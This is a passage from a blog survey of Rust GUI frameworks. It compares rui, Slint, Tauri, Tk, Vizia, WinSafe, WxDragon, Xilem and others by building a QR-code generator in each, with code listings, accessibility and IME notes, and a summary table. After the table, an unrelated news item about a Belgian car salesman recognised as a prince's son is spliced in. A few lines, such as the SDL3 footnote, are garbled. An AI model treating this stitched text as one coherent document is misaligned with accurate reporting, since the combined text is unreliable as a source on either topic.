    Rui’s design is inspired by SwiftUI and adopts a reactive programming model. Rui was created by the author to port their music workstation Audulus to Rust. Although Audulus is not open source, I cannot know its specific implementation. However, based on the fact that it is available on the App Store, as well as other discussions in the rui documentation, I infer that Audulus was developed with SwiftUI.

    In the README, the author mentions some of the rationale behind rui’s design. For example, SwiftUI’s extensive texture caching is no longer necessary on modern GPUs, while for lightweight tasks such as layout, although they cannot be accelerated by the GPU, there is no need to cache them in the widget tree. Although I had a hard time understanding this long passage because I have no experience developing GUI frameworks, it is always a good thing to see the author actively communicating their design rationale.

    However, rui does not have an image widget; it only has a canvas that can draw using vector operations. So I need to convert the QR code into a series of drawing commands and then draw them onto rui’s canvas.

    Neither IME nor screen reader is supported. After analyzing rui’s source code with AI, I found that rui’s accessibility support is only partially implemented. They generate accessibility information for widget nodes, but do not submit it to the system.

    For such a simple task, rui’s code is extremely concise. I feel that if rui could add support for pixel images, this task could even be completed in under 20 lines.

    Full Code
    use rui::*;
    
    fn main() {
        state(String::new, |text, cx| {
            vstack((
                "Enter text to generate QR code:".padding(Auto),
                text_editor(text).padding(Auto),
                qr_code_view(cx[text].clone()).padding(Auto),
            ))
        })
        .window_title("QR Code Generator")
        .run()
    }
    
    fn qr_code_view(text: String) -> impl View {
        let (n, modules) = qrcode::QrCode::new(text.as_bytes())
            .map(|code| (code.width(), code.to_colors()))
            .unwrap_or_default();
    
        canvas(move |_, rect, vger| {
            let size = rect.size.width.min(rect.size.height) / (n as f32 + 8.0);
            let (white, black) = (vger.color_paint(WHITE), vger.color_paint(BLACK));
            vger.fill_rect(rect, 0.0, white);
            for (i, &color) in modules.iter().enumerate() {
                if color == qrcode::Color::Dark {
                    let (x, y) = (i % n, i / n);
                    let p = rect.origin
                        + LocalOffset::new((x as f32 + 4.0) * size, (n + 3 - y) as f32 * size);
                    vger.fill_rect(LocalRect::new(p, LocalSize::new(size, size)), 0.0, black);
                }
            }
        })
        .size([280.0, 280.0])
    }

    Link to this section SDL3

    The sdl3 crate is a Rust binding for the well-known graphics library SDL3. It is a bit strange to include this crate in Are We GUI Yet?, because it can hardly be considered a GUI framework. It merely provides a canvas on which you can draw freely. Although you can draw the widgets you want in it, you need to implement layout, event handling, state management, and other functionality yourself, none of which SDL3 can provide for you.

    Rather than Are We GUI Yet?, SDL3 should appear in Are We Game Yet? 10 10. It indeed is . instead.

    Link to this section Slint

    Slint is a GUI framework that I have always been very fond of; it can basically be considered the Rust version of Qt. It supports multiple platforms such as desktop, mobile, embedded, and Web, and provides bindings for C++, Rust, Node.js, and Python.

    Slint uses a dedicated language also called slint as a DSL for writing UIs, which is almost identical to QML in this respect. It also adopts a reactive model based on two-way bindings. Designing a dedicated language to describe GUIs has both advantages and disadvantages compared with keeping all the logic in the host language. The advantage is that you can have syntax and semantics that are better suited to describing GUIs. Another benefit is that you can build an ecosystem around the language itself, such as interface editors, live previews 11 11. Slint’s live previewer is quite handy; it would be even better if it could support displaying CJK characters. , and so on. The disadvantage is that cross-language interaction inevitably introduces friction, especially when logic and state are tightly coupled, requiring you to switch frequently between the two languages.

    Both IME and screen reader work properly.

    Slint’s VS Code extension can provide code completion and preview support for slint files, and even for slint code snippets embedded in Rust via slint macros. This is undoubtedly a great boost to the developer experience.

    In community discussions on Reddit, slint is not as popular as iced or egui. Considering how complete its feature set is, I feel slint deserves more traction. Part of the reason may be that slint adopts a semi-commercial open-source licensing model similar to Qt’s. But this is actually a common practice in the open-source software world, and we shouldn’t be overly critical of normal commercial behavior.

    Full Code
    use slint::{Image, Rgb8Pixel, SharedPixelBuffer};
    
    slint::slint! {
        import { VerticalBox } from "std-widgets.slint";
    
        export component AppWindow inherits Window {
            title: "QR Code Generator";
            in-out property <string> text <=> input.text;
            in-out property <image> qr <=> img.source;
            callback text-changed(value: string);
            changed text => {
                root.text-changed(text);
            }
            VerticalBox {
                Text {
                    text: "Enter text to generate QR code:";
                }
    
                input := TextInput { }
    
                img := Image {
                    width: 200px;
                    height: 200px;
                }
            }
        }
    }
    
    pub fn qr_encode(text: &str) -> anyhow::Result<Image> {
        let code = qrcode::QrCode::new(text.as_bytes())?;
        let img = code.render::<image::Rgb<u8>>().build();
        let buffer =
            SharedPixelBuffer::<Rgb8Pixel>::clone_from_slice(img.as_raw(), img.width(), img.height());
        Ok(Image::from_rgb8(buffer))
    }
    
    fn main() -> anyhow::Result<()> {
        let ui = AppWindow::new()?;
    
        let ui_handle = ui.as_weak();
        ui.on_text_changed(move |text| {
            if let Some(ui) = ui_handle.upgrade()
                && let Ok(qr) = qr_encode(&text)
            {
                ui.set_qr(qr);
            }
        });
    
        ui.run()?;
    
        Ok(())
    }

    Link to this section Tauri

    People often describe Tauri as a lightweight Electron written in Rust.

    Tauri emerged around the same time as Windows WebView2. Its original goal was to solve the problem of Electron apps bundling an entire Chrome browser and taking up a large amount of disk space. Because Tauri uses the system WebView directly, Tauri apps can be kept very small.

    However, Tauri still inherits all the drawbacks of WebView, such as high memory usage and the unavoidable IPC and cross-language friction between the browser and the backend.

    Since Tauri can indeed be used to build GUIs for Rust programs, people often compare it with other GUI frameworks. But I think this comparison is somewhat risky. Before you even decide to add a GUI to a program, whether to choose a Web UI is a fundamental fork in the road. State management is usually tightly coupled with the interface. Once you choose a Web UI, you have to start thinking about managing program state on the frontend. And the frontend is often a different language; even if you write the frontend in Rust, you still need to consider the IPC boundary between frontend and backend.

    Boringcactus sharply criticized the type safety of Tauri IPC in hir post. Ze then mentioned that ze learned at the Utah Rust meetup about a project called tauri-specta that can improve IPC type safety between Rust and TypeScript. Although this is a survey about Rust GUIs, and writing the interface in TypeScript may be somewhat off-topic, let’s still take a look at how much tauri-specta can improve type safety.

    There’s nothing much to say about the interface; both IME and screen reader work properly.

    The way tauri-specta works is simpler than expected. It collects every function annotated with #[specta] , parses its type, and exports it in a TypeScript stub file. This stub file contains typed wrappers for Tauri IPC, allowing correct types to be used in TypeScript. Although it sounds simple, it is indeed an effective approach. It would be great if the Tauri team could integrate this solution into their system.

    Full Code

    Rust:

    use base64::Engine;
    use specta_typescript::Typescript;
    use tauri_specta::{collect_commands, Builder};
    
    #[tauri::command]
    #[specta::specta]
    fn generate_qr_code(text: &str) -> Result<String, String> {
        qr_encode_data_url(text).map_err(|e| e.to_string())
    }
    
    fn qr_encode_data_url(text: &str) -> anyhow::Result<String> {
        let code = qrcode::QrCode::new(text.as_bytes())?;
        let img = code
            .render::<image::Luma<u8>>()
            .min_dimensions(256, 256)
            .build();
    
        let mut png = Vec::new();
        img.write_to(&mut std::io::Cursor::new(&mut png), image::ImageFormat::Png)?;
    
        let b64 = base64::engine::general_purpose::STANDARD.encode(&png);
        Ok(format!("data:image/png;base64,{b64}"))
    }
    
    fn main() {
        let builder = Builder::<tauri::Wry>::new().commands(collect_commands![generate_qr_code]);
    
        builder
            .export(Typescript::default(), "../src/bindings.ts")
            .expect("Failed to export typescript bindings");
    
        tauri::Builder::default()
            .invoke_handler(builder.invoke_handler())
            .setup(move |app| {
                builder.mount_events(app);
    
                Ok(())
            })
            .run(tauri::generate_context!())
            .expect("error while running tauri application");
    }

    TypeScript:

    import { useEffect, useState } from "react";
    import { commands } from "./bindings";
    
    function App() {
      const [text, setText] = useState("");
      const [qrCode, setQrCode] = useState("");
    
      useEffect(() => {
        commands.generateQrCode(text).then((value) => {
          if (value.status === "ok") {
            setQrCode(value.data);
          }
        });
      }, [text]);
    
      return (
        <main
          style={{
            display: "flex",
            flexDirection: "column",
            gap: "1rem",
            padding: "1rem",
          }}
        >
          <p>Enter text to generate QR code:</p>
          <input
            id="greet-input"
            value={text}
            onChange={(e) => setText(e.currentTarget.value)}
            placeholder="https://example.com"
          />
          <img src={qrCode} alt="Generated QR Code" />
        </main>
      );
    }
    
    export default App;

    Link to this section Tessera

    “Tessera is a declarative, immediate-mode UI framework for Rust that emphasizes performance, flexibility, and extensibility through a functional approach and pluggable shader system.”

    Tessera is also a very new UI framework. Its first version was released in July 2025, and it has now reached version 2.5.0. According to a blog post included in its documentation, Tessera is working on implementing Material Design as a milestone for version 3.0. From that blog post, I get the impression that Tessera has some unique insights into state management for immediate mode GUIs.

    However, when I tried it, Tessera could not run on macOS, encountering some errors from wgpu. Hopefully, once it fixes its platform compatibility, we can meet again someday.

    Link to this section Tinyfiledialogs

    Tinyfiledialogs provides a Rust binding for a C library that offers various small dialogs. It cannot be considered a complete GUI framework, but it does provide some GUI functionality. Its features are not sufficient to accomplish today’s task.

    A crate with a similar positioning is rfd , but it is not included on Are We GUI Yet?.

    Link to this section Tk

    Tk is the Rust binding for Tcl/Tk. I suspect most people’s first exposure to Tcl/Tk comes from the rather idiosyncratic tkinter module in Python’s standard library.

    Although Python’s standard library bundles Tk 8.6, using the Tk crate requires having Tk 8.6 installed on your system beforehand. If the version is mismatched – for instance, on my first attempt, the system Tk on macOS was 8.5, which led to some strange compilation errors.

    The Tk crate employs clever operator overloading to faithfully replicate the distinctive syntax of Tk commands. If you have a genuine fondness for the Tcl language, you’ll appreciate this design. However, what would likely suit most developers better is to use the host language idiomatically, as Python’s tkinter does. In Rust, for example, the builder pattern would be a more natural fit.

    IME works properly, but the screen reader cannot recognize the contents of the window. This is somewhat disappointing, since Tcl/Tk is a long-established UI toolkit and one would expect it to be mature in all respects. However, its age may be a factor: accessibility was not yet a consideration when it was originally designed.

    As for the development experience with the Tk crate, despite the author’s thorough tutorial, it still falls short of covering everything needed for real-world GUI development. During development, I found it easier to consult Python’s tkinter documentation instead. The crate also contains several patterns that are quite unidiomatic in Rust. For instance, the tclosure macro matches closure parameters by name, so an incorrect parameter name results in a runtime error. This was not at all obvious when I first wrote the code.

    Full Code
    use base64::Engine as _;
    use tcl::*;
    use tk::cmd::*;
    use tk::*;
    
    pub fn qr_encode(text: &str) -> anyhow::Result<String> {
        let code = qrcode::QrCode::new(text.as_bytes())?;
        let img = code.render::<::image::Luma<u8>>().build();
    
        let mut buf = Vec::new();
        img.write_to(
            &mut std::io::Cursor::new(&mut buf),
            ::image::ImageFormat::Png,
        )?;
        Ok(base64::engine::general_purpose::STANDARD.encode(buf))
    }
    
    fn main() -> TkResult<()> {
        let tk = make_tk!()?;
        let root = tk.root();
        root.set_wm_title("QR Code Generator")?;
    
        root.add_ttk_label(-text("Enter text to generate QR code:"))?
            .pack(())?;
        let qr_image = tk.image_create_photo("qr")?;
        let update = tcl::tclosure!(tk, |vldt_new: String| -> TkResult<bool> {
            let interp = tcl_interp!();
            if let Ok(qr) = qr_encode(&vldt_new) {
                interp.run(("qr", "configure", "-data", qr))?;
            } else {
                interp.run(("qr", "blank"))?;
            }
            Ok(true)
        });
        root.add_ttk_entry(-validate("key") - validatecommand(update))?
            .pack(())?;
        root.add_ttk_label("preview" - image(qr_image))?.pack(())?;
    
        Ok(main_loop())
    }

    Link to this section Undoredo

    Undoredo is not a GUI library. It provides incremental updates, snapshots, and rollback capabilities for various container data structures.

    I suspect it is listed on Are We GUI Yet? because it can be used to implement state management in GUI applications. However, placing it alongside other GUI libraries still feels somewhat out of place. Are We GUI Yet? should seriously consider categorizing the crates on its site, similar to how Are We Game Yet? does.

    Link to this section Vizia

    Vizia is a declarative Rust GUI framework built on a fine-grained reactivity model, with skia as its rendering backend.

    I ran into a few hurdles while implementing today’s task with Vizia. Vizia does provide an Image widget, but it is not fully implemented. Although Image accepts a Signal as a parameter, it is not reactive; it only reads the state once at creation. Moreover, while the documentation states that Image can load URLs, examining the implementation revealed that data URLs are not supported. As a result, I had to use the SVG widget to render the QR code instead. Unfortunately, the SVG widget has the same reactivity limitation, so I had to wrap the entire widget in a Binding to make it respond to Signal changes and trigger redraws.

    IME works correctly, but when I tried to use a screen reader to inspect the window contents, the program crashed immediately.

    This was quite unexpected. With the help of AI, I traced the cause of the crash. In the Textbox ’s on_edit event, modifying the Signal that the text widget itself listens to leaves some internal accessibility information stale. When the screen reader then tries to access it, an out-of-bounds access occurs. The workaround is to avoid passing a listenable signal to the Textbox . However, that introduces another bug: when the text box loses focus, its content disappears because the state update is not propagated back to the widget. This looks like a catch-22. If you handle the state correctly, the screen reader breaks. But if you make the screen reader work, the text box’s state cannot be managed properly.

    Full Code
    use vizia::prelude::*;
    
    fn qr_svg(text: &str) -> anyhow::Result<String> {
        let code = qrcode::QrCode::new(text.as_bytes())?;
        let mut renderer = code.render::<qrcode::render::svg::Color>();
        renderer.min_dimensions(200, 200);
        Ok(renderer.build())
    }
    
    fn main() -> anyhow::Result<()> {
        Application::new(|cx| {
            let text = Signal::new(String::new());
            let image = Signal::new(None);
    
            VStack::new(cx, |cx| {
                Label::new(cx, "Enter text to generate QR code:");
                Textbox::new(cx, text)
                    .width(Pixels(200.0))
                    .on_edit(move |_, new_text| {
                        *image.write() = qr_svg(&new_text).ok();
                        *text.write() = new_text;
                    });
                Binding::new(cx, image, move |cx| {
                    if let Some(image) = image.get() {
                        Svg::new(cx, image)
                            .size(Pixels(200.0))
                            .fill(Color::transparent())
                            .hoverable(false);
                    }
                });
            })
            .alignment(Alignment::Center);
        })
        .title("QR Code Generator")
        .inner_size((400, 400))
        .run()?;
        Ok(())
    }

    Link to this section WebRender

    WebRender is the rendering engine behind Mozilla Firefox and Servo, the browser written in Rust. Its documentation on docs.rs is severely outdated and gives little sense of the library’s actual state. I can’t help but wonder how the Servo developers manage to work under such conditions.

    WebRender provides only drawing APIs, and as its wiki notes, these are specialized for browser use cases, which makes it difficult to use the library as a general-purpose GUI framework.

    Link to this section Windows

    Rust for Windows is a highly ambitious project. Microsoft aims to provide comprehensive Rust bindings for the entire Windows API surface. By using the windows crate, and the windows-sys crate as supplementary, you can call any Windows API directly from Rust. This naturally includes the various GUI frameworks available on Windows, such as Win32 UI and Composition UI.

    Calling Windows APIs directly to create GUI interfaces is far too tedious. Even a decade or more ago, nobody would have done such a thing. However, the Rust for Windows repository recently gained a new framework called windows-reactor , which provides a reactive programming layer on top of WinUI 3, making it as convenient to develop with as other Rust GUI frameworks. I’m somewhat curious about it, so let me spin up a Windows VM and see what the development experience with windows-reactor is like.

    Link to this section Windows Reactor

    Though Windows Reactor is not listed on Are We GUI Yet?, I decided to try it anyway, both for the reasons above and out of curiosity.

    Windows Reactor’s state management model is nearly identical to React’s. It replicates hooks like useState and useRef , and, like React, it stores hook data according to call order. Since Dioxus, another React-inspired library, has moved toward a signal-based reactivity model, Windows Reactor is arguably now the Rust GUI library that most closely resembles React.

    Overall, its API surface is relatively complete, but there are still some rough edges. For instance, to display an in-memory image, I had to create a canvas and draw the bitmap onto it. Initially, I assumed I would need to use Direct2D APIs directly for drawing. Later, with AI assistance, I found that the windows-canvas crate offers a simpler interface for this purpose.

    IME input works as expected. Windows Narrator can read the contents of text boxes but fails to recognize text labels. I’m unsure whether this is because I didn’t set the appropriate accessibility flags in the code, or because Windows Reactor’s accessibility support is still incomplete.

    Full Code
    use windows_canvas::{ColorF, GpuDevice, Rect};
    use windows_reactor::*;
    
    fn app(cx: &mut RenderCx) -> Element {
        let (image, set_image) = cx.use_state(ImageSource::None);
    
        vstack((
            text_block("Enter text to generate QR code:"),
            text_box(String::new()).on_text_changed(move |text: String| {
                set_image.call(build_qr_surface(&text).unwrap_or_default())
            }),
            Image::new(image).width(200.).height(200.),
        ))
        .spacing(12.0)
        .into()
    }
    
    fn build_qr_surface(text: &str) -> anyhow::Result<ImageSource> {
        let img = qrcode::QrCode::new(text.as_bytes())?
            .render::<::image::Rgba<u8>>()
            .build();
        let (width, height) = img.dimensions();
        let device = GpuDevice::new_or_warp()?;
        let surface = CanvasImageSource::new(&device, 200., 200., 1.0)?;
        let _ = surface.draw(ColorF::WHITE, |session| {
            session.draw_bitmap(
                &session.create_bitmap(&img.into_raw(), width, height)?,
                &Rect::from_xywh(0., 0., width as f32, height as f32),
                1.0,
            );
            Ok(())
        })?;
        Ok(surface.image_source())
    }
    
    fn main() -> windows_core::Result<()> {
        bootstrap()?;
        App::new().title("QR Code Generator").render(app)
    }

    Link to this section WinSafe

    WinSafe is a Rust binding for the Win32 API, and it offers a high-level, idiomatic abstraction layer for Win32 GUI programming. Interestingly, this library has no dependencies, not even the windows crate, since WinSafe’s history predates it.

    Now that I have a Rust development environment set up in the Windows VM, let’s give this library a try as well.

    The UI has the familiar, reassuring Win32 look. Both the screen reader and IME work flawlessly.

    While most of WinSafe’s API can be used from safe Rust, a few features still lack safe wrappers and require calling the underlying Win32 APIs through unsafe code. Setting the image on a Label in this task is one such case.

    Full Code
    use std::cell::Cell;
    use winsafe::{self as w, gui, msg, prelude::*};
    
    fn main() -> w::AnyResult<()> {
        let wnd = gui::WindowMain::new(gui::WindowMainOpts {
            title: "QR Code Generator",
            size: gui::dpi(224, 283),
            ..Default::default()
        });
        let _ = gui::Label::new(
            &wnd,
            gui::LabelOpts {
                text: "Enter text to generate QR code:",
                position: gui::dpi(12, 12),
                ..Default::default()
            },
        );
        let input = gui::Edit::new(
            &wnd,
            gui::EditOpts {
                position: gui::dpi(12, 41),
                width: gui::dpi_x(200),
                ..Default::default()
            },
        );
        let image = gui::Label::new(
            &wnd,
            gui::LabelOpts {
                text: "",
                position: gui::dpi(12, 71),
                size: gui::dpi(200, 200),
                control_style: w::co::SS::BITMAP | w::co::SS::CENTERIMAGE,
                ..Default::default()
            },
        );
        let (edit, image) = (input.clone(), image.clone());
        let bitmap = Cell::new(None);
        input.on().en_change(move || {
            let next = qrcode::QrCode::new(edit.text()?.as_bytes())
                .ok()
                .map(|qr| {
                    let img = qr
                        .render::<image::Rgba<u8>>()
                        .max_dimensions(gui::dpi_x(200) as _, gui::dpi_y(200) as _)
                        .build();
                    let (width, height) = img.dimensions();
                    let mut bits = img.into_raw();
                    w::HBITMAP::CreateBitmap(
                        w::SIZE::with(width as _, height as _),
                        1,
                        32,
                        bits.as_mut_ptr(),
                    )
                })
                .transpose()?;
            let handle = unsafe { next.as_deref().unwrap_or(&w::HBITMAP::NULL).raw_copy() };
            let _ = unsafe {
                image.hwnd().SendMessage(msg::StmSetImage {
                    image: w::BmpIconCurMeta::Bmp(handle),
                })
            };
            bitmap.set(next);
            Ok(())
        });
        wnd.run_main(None)?;
        Ok(())
    }

    Link to this section WxDragon

    WxDragon is a Rust binding for wxWidgets, a widely used GUI toolkit. Considering wxWidgets’ prominence in the Python ecosystem, it is somewhat surprising that a Rust binding did not appear until 2025.

    Both IME input and screen reader functionality work as expected.

    Apart from wxWidgets’ somewhat idiosyncratic widget naming conventions, there is little to fault in this binding. Despite being relatively new, it already covers virtually every aspect of wxWidgets. Since wxWidgets itself is a mature toolkit, I see no issue with using this binding in a production environment.

    Full Code
    use wxdragon::prelude::*;
    
    pub fn qr_encode(text: &str) -> Option<Bitmap> {
        let code = qrcode::QrCode::new(text.as_bytes()).ok()?;
        let img = code.render::<image::Rgba<u8>>().build();
        Bitmap::from_rgba(img.as_raw(), img.width(), img.height())
    }
    
    fn main() -> Result<(), Box<dyn std::error::Error>> {
        wxdragon::main(|_| {
            let frame = Frame::builder().with_title("QR Code Generator").build();
    
            let sizer = BoxSizer::builder(Orientation::Vertical).build();
    
            let label = StaticText::builder(&frame)
                .with_label("Enter text to generate QR code:")
                .build();
            sizer.add(&label, 1, SizerFlag::AlignCenterHorizontal, 0);
    
            let input = TextCtrl::builder(&frame).build();
            sizer.add(&input, 1, SizerFlag::AlignCenterHorizontal, 0);
    
            let image = StaticBitmap::builder(&frame)
                .with_bitmap(qr_encode(""))
                .build();
            sizer.add(&image, 1, SizerFlag::AlignCenterHorizontal, 0);
    
            input.on_text_changed(move |ev| {
                if let Some(qr) = ev.get_string().and_then(|text| qr_encode(&text)) {
                    image.set_bitmap(&qr)
                }
            });
    
            frame.set_sizer(sizer, true);
            frame.show(true);
        })
    }

    Link to this section Xilem

    Finally, we are almost at the tail end of this list.

    Xilem is a reactive Rust GUI framework built on the previously mentioned Masonry, and it provides a reactive user-interface layer on top of it.

    Xilem has a blog post explaining their understanding of implementing reactive GUI interfaces in Rust. It is an excellent article and is very helpful for understanding reactive GUI frameworks, as well as why many Rust GUI frameworks are designed the way they are. After reading it, I did see traces of the ideas proposed by Xilem in some of the frameworks I encountered in this survey, such as how blinc and KAS handle stateful components.

    Floem mentions in its documentation that it was also influenced by Xilem, and Xilem says in its blog that its design was influenced by rui. I think it would be interesting if someone could organize the relationships of mutual influence among these Rust GUI frameworks into a diagram similar to a biological evolutionary tree.

    Like the underlying Masonry, IME and screen reader are both available. However, because Xilem does not expose Masonry’s interface for setting the font for text input, CJK characters in text input cannot be displayed correctly.

    Full Code
    use xilem::masonry::peniko::{ImageAlphaType, ImageData};
    use xilem::view::{flex_col, image, label, text_input};
    use xilem::{EventLoop, ImageFormat, WidgetView, WindowOptions, Xilem};
    
    fn qr_encode(text: &str) -> anyhow::Result<ImageData> {
        let code = qrcode::QrCode::new(text.as_bytes())?;
        let img = code.render::<image::Rgba<u8>>().build();
        let (width, height) = img.dimensions();
        Ok(ImageData {
            data: img.into_raw().into(),
            format: ImageFormat::Rgba8,
            alpha_type: ImageAlphaType::AlphaPremultiplied,
            width,
            height,
        })
    }
    
    fn app_logic(text: &mut String) -> impl WidgetView<String> + use<> {
        flex_col((
            label("Enter text to generate QR code:"),
            text_input(text.clone(), |text, new_text| *text = new_text),
            qr_encode(text).ok().map(image),
        ))
    }
    
    fn main() -> anyhow::Result<()> {
        let app = Xilem::new_simple(
            String::new(),
            app_logic,
            WindowOptions::new("QR Code Generator"),
        );
        app.run_in(EventLoop::with_user_event())?;
        Ok(())
    }

    Link to this section Yew

    Yew is a React-style framework for developing web apps, and like Leptos, it does not have native desktop GUI support.

    Link to this section Conclusion

    Well, it is time to bring this long journey to a close and, in doing so, single out the winners of this survey, or, to put it more modestly, the frameworks I would be willing to use.

    In the winners’ circle are slint and egui. Beyond having APIs free of obvious friction or pitfalls, they also provide solid support for IME and accessibility. They respectively occupy the two thrones of retained-mode UI and immediate-mode UI.

    There are also frameworks that appeal to me in certain niche areas. For example, Crux paired with SwiftUI, and rinf paired with Flutter. And if I were willing to adopt a WebView, Dioxus or Tauri + tauri-spectra would be reasonable choices.

    Other frameworks fall just short of the winners’ circle due to minor drawbacks, cushy, Freya, Floem, Iced, Relm4, and Xilem, for instance. I also find their API designs quite appealing. Unfortunately, they are somewhat lacking in input method or accessibility support. Should they continue to improve in these areas, their future looks promising.

    Of course, this survey is only a snapshot, and a rather subjective one. A framework that excels in this simple scenario may not necessarily handle more complex programs. Still, this exercise exposed the parts of GUI development that are hardest to fake. Rust has plenty of promising GUI projects, but the ecosystem has not yet converged on a universally accepted, boring choice.

    I may also have made mistakes in this survey due to personal oversights. If you find anything I have written that does not match the facts, please contact me and point it out.

    Curious about the disk space this survey used?
    $ dust -d 1 .
    213M   ┌── windows-rs               │█           │   0%
    292M   ├── hello-qmetaobject        │█           │   0%
    568M   ├── hello-cacao              │█           │   1%
    597M   ├── hello-fltk               │█           │   1%
    659M   ├── hello-makepad            │█           │   1%
    744M   ├── hello-relm4              │█           │   1%
    769M   ├── hello-gtk4               │█           │   1%
    786M   ├── hello-tk                 │█           │   1%
    923M   ├── hello-ply                │█           │   1%
    939M   ├── hello-azul               │█           │   1%
    1.0G   ├── hello_flutter_rust_bridge│█           │   1%
    1.2G   ├── hello-relm               │█           │   1%
    1.5G   ├── hello_rinf               │█           │   2%
    1.6G   ├── hello-lvgl               │█           │   2%
    1.6G   ├── hello-cxx-qt             │█           │   2%
    1.7G   ├── hello-floem              │█           │   2%
    1.8G   ├── hello-cushy              │█           │   2%
    1.8G   ├── hello-fui                │█           │   2%
    1.8G   ├── hello-pane-ui            │█           │   2%
    1.8G   ├── hello-dioxus             │█           │   2%
    1.9G   ├── hello-gtk                │█           │   2%
    1.9G   ├── azul                     │█           │   2%
    1.9G   ├── hello-egui               │█           │   2%
    2.1G   ├── hello-xilem              │█           │   2%
    2.1G   ├── hello-gemgui             │█           │   2%
    2.1G   ├── hello-imgui              │█           │   2%
    2.2G   ├── hello-masonry            │█           │   2%
    2.2G   ├── hello-rui                │█           │   2%
    2.4G   ├── hello-tessera            │█           │   3%
    2.5G   ├── hello-freya              │█           │   3%
    2.8G   ├── hello-pax                │█           │   3%
    2.8G   ├── hello-iced               │█           │   3%
    3.0G   ├── hello-kas                │█           │   3%
    3.4G   ├── hello-vizia              │█           │   4%
    3.9G   ├── hello-rosin              │█           │   4%
    4.2G   ├── hello-slint              │█           │   4%
    4.6G   ├── hello-tauri              │█           │   5%
    4.6G   ├── hello-wxdragon           │█           │   5%
    5.0G   ├── hello-blinc              │█           │   5%
    5.1G   ├── hello-crux               │█           │   5%
    5.7G   ├── hello-gpui               │█           │   6%
    6.1G   ├── hello-ribir              │█           │   6%
     94G ┌─┴ .                          │███████████ │ 100%
    Some extra words about the user interface design

    GUI is a discipline of composition. A GUI consists of many components, each with its own functionality, and the framework’s job is to ensure that, when combined, they can cooperate to deliver more complete functionality. This involves many forms of composition: component with component, component with state, and state with state.

    The manner of composition determines the shape of the user interface, because different components and different states typically have different types. To compose values of different types together, some non-trivial design is always required, whether through tuples or similar combinators (cushy, floem, xilem), through an imperative approach of inserting components into the interface one at a time (egui, rosin, vizia), through a degree of macro magic (iced, KAS, ribir), or even by inventing a dedicated language (slint).

    Some may argue that in 2026, with coding agents all the rage, interface designs no longer need to prioritize human readability. But that is no excuse for a framework author to abandon their aesthetic exploration. Only with a thorough, holistic understanding of the entire system’s design, and from a high-level perspective, can one produce a user interface that is both concise and elegant. If a library offers only interfaces riddled with friction or obscurity, one may rightly question whether its author has made a genuine effort to explore this field.

    Link to this section The Table

    Library Usability Accessibility IME Support
    Azul 😭 cannot read fonts
    blinc 🟡 API friction ❌ No 🟡 composer position bad; CJK fonts unsupported
    cacao ✅ OK (macOS only) ❌ No ✅ OK
    Core Foundation 😭 low-level API
    Crux ✅ OK (SwiftUI) ✅ OK ✅ OK
    cushy ✅ OK ❌ No 🟡 composer hidden
    CXX-Qt 🟡 environment setup ✅ OK ✅ OK
    Dioxus ✅ OK (WebView) ✅ OK ✅ OK
    dominator web only
    egui ✅ OK ✅ OK 🟡 CJK font setup
    floem ✅ OK ❌ No ❌ No
    FLTK ✅ OK ✅ OK (with extra setup) ✅ OK
    Flutter Rust Bridge ✅ OK (Flutter) ✅ OK ✅ OK
    Freya ✅ OK ❌ No ✅ OK
    Fui no macOS support
    gemgui ✅ OK (pywebview) ✅ OK ✅ OK
    GPUI 🟡 no text input widget ❌ I don’t know how to get it work 🟡 crash
    GTK 3 🟡 use specific commit ❌ No ❌ No
    GTK 4 ✅ OK ❌ No ✅ OK
    iced ✅ OK ❌ No ✅ OK
    imgui 🟡 boilerplate ❌ No ❌ No
    KAS 🟡 API friction ❌ No ❌ No
    kittest not a GUI framework
    Leptos web only
    lvgl 🟡 embedded only ❌ No ❌ No
    Makepad 🟡 poor documentation ❌ No 🟡 composer hidden
    masonry 🟡 low-level ✅ OK ✅ OK
    Maycoon deprecated
    Pane UI 😭 cannot load images
    Pax 😭 failed to compile
    ply 🟡 odd default values ✅ OK (with extra setup) ❌ No
    QMetaObject 🟡 environment setup ✅ OK ✅ OK
    Relm ✅ OK ❌ No ❌ No
    Relm4 ✅ OK ❌ No ✅ OK
    Ribir 🟡 cryptic macros ❌ No ✅ OK
    rinf ✅ OK (Flutter) ✅ OK ✅ OK
    rosin 🟡 poor widgets library ✅ OK (with extra setup) ✅ OK
    rui 🟡 poor widgets library ❌ No ❌ No
    SDL3 not a GUI framework
    slint ✅ OK ✅ OK ✅ OK
    Tauri ✅ OK (WebView) ✅ OK ✅ OK
    Tessera no macOS support
    tinyfiledialogs not a GUI framework
    Tk 🟡 API friction ❌ No ✅ OK
    undoredo not a GUI framework
    Vizia ✅ OK ❌ crash ✅ OK
    WebRender not a GUI framework
    Windows 😭 low-level API
    Windows Reactor 🟡 API friction (Windows only) 🟡 text boxes only ✅ OK
    WinSafe ✅ OK (Windows only) ✅ OK ✅ OK
    WxDragon ✅ OK ✅ OK ✅ OK
    Xilem ✅ OK ✅ OK 🟡 CJK fonts unsupported
    Yew web only

    Belgian car salesman becomes prince after DNA test proves royal parentage

    Hacker News
    www.cnn.com
    2026-08-22 13:09:27
    Comments...
    Original Article

    A Belgian car salesman has become a prince at the age of 26 after being acknowledged as the son of the king’s brother, Prince Laurent.

    Clément Vandenkerckhove’s mother, a Belgian singer who had a relationship with Prince Laurent in the 1990s, only told him who his father was when he turned 16 a decade ago.

    It emerged this week that he was legally recognized as the son and heir of the 63-year-old younger brother of King Philippe, at a low-key town hall ceremony about six months ago after a DNA test proved his link to the royal family.

    Prince Laurent has registered his paternity of Vandenkerckhove with Belgium’s civil registry, The Telegraph reported on Wednesday.

    The formality affords the new prince equal inheritance rights to Laurent’s private estate with his half-sister Princess Louise, 20, and half-brothers Prince Nicolas, 20, and Prince Aymeric, 19, children Laurent shares with Princess Claire whom he married in 2003.

    But he will not receive a royal allowance, nor will he be expected to take on official duties, and he has no rights to the Belgian throne.

    Vandenkerckhove could take his father’s family name, Saxe-Coburg, but has indicated he may not choose to.

    “I am proud of the name Vandenkerckhove,” he recently told Flemish daily newspaper Het Nieuwsblad. “If I were to sacrifice that family name, it would be a betrayal of everything my mother has done for me.”

    Vandenkerckhove was born in August 2000 to Belgian singer Wendy Van Wanten, whose real name is Iris Vandenkerckhove.

    She and Laurent dated in the 1990s after a chance encounter at a fashion show in Paris but the relationship did not last and there has been speculation that Laurent’s father, the former king, disapproved.

    Prince Laurent (right) dated Wendy Van Wanten (left), mother of Vandenkerckhove, during the 1990s.

    In a documentary that aired on Belgian network VTM last September, Vandenkerckhove recounted his mother’s admission that Laurent was his father.

    Four years after that, he contacted his father to share what he’d been told and Prince Laurent agreed to a DNA test.

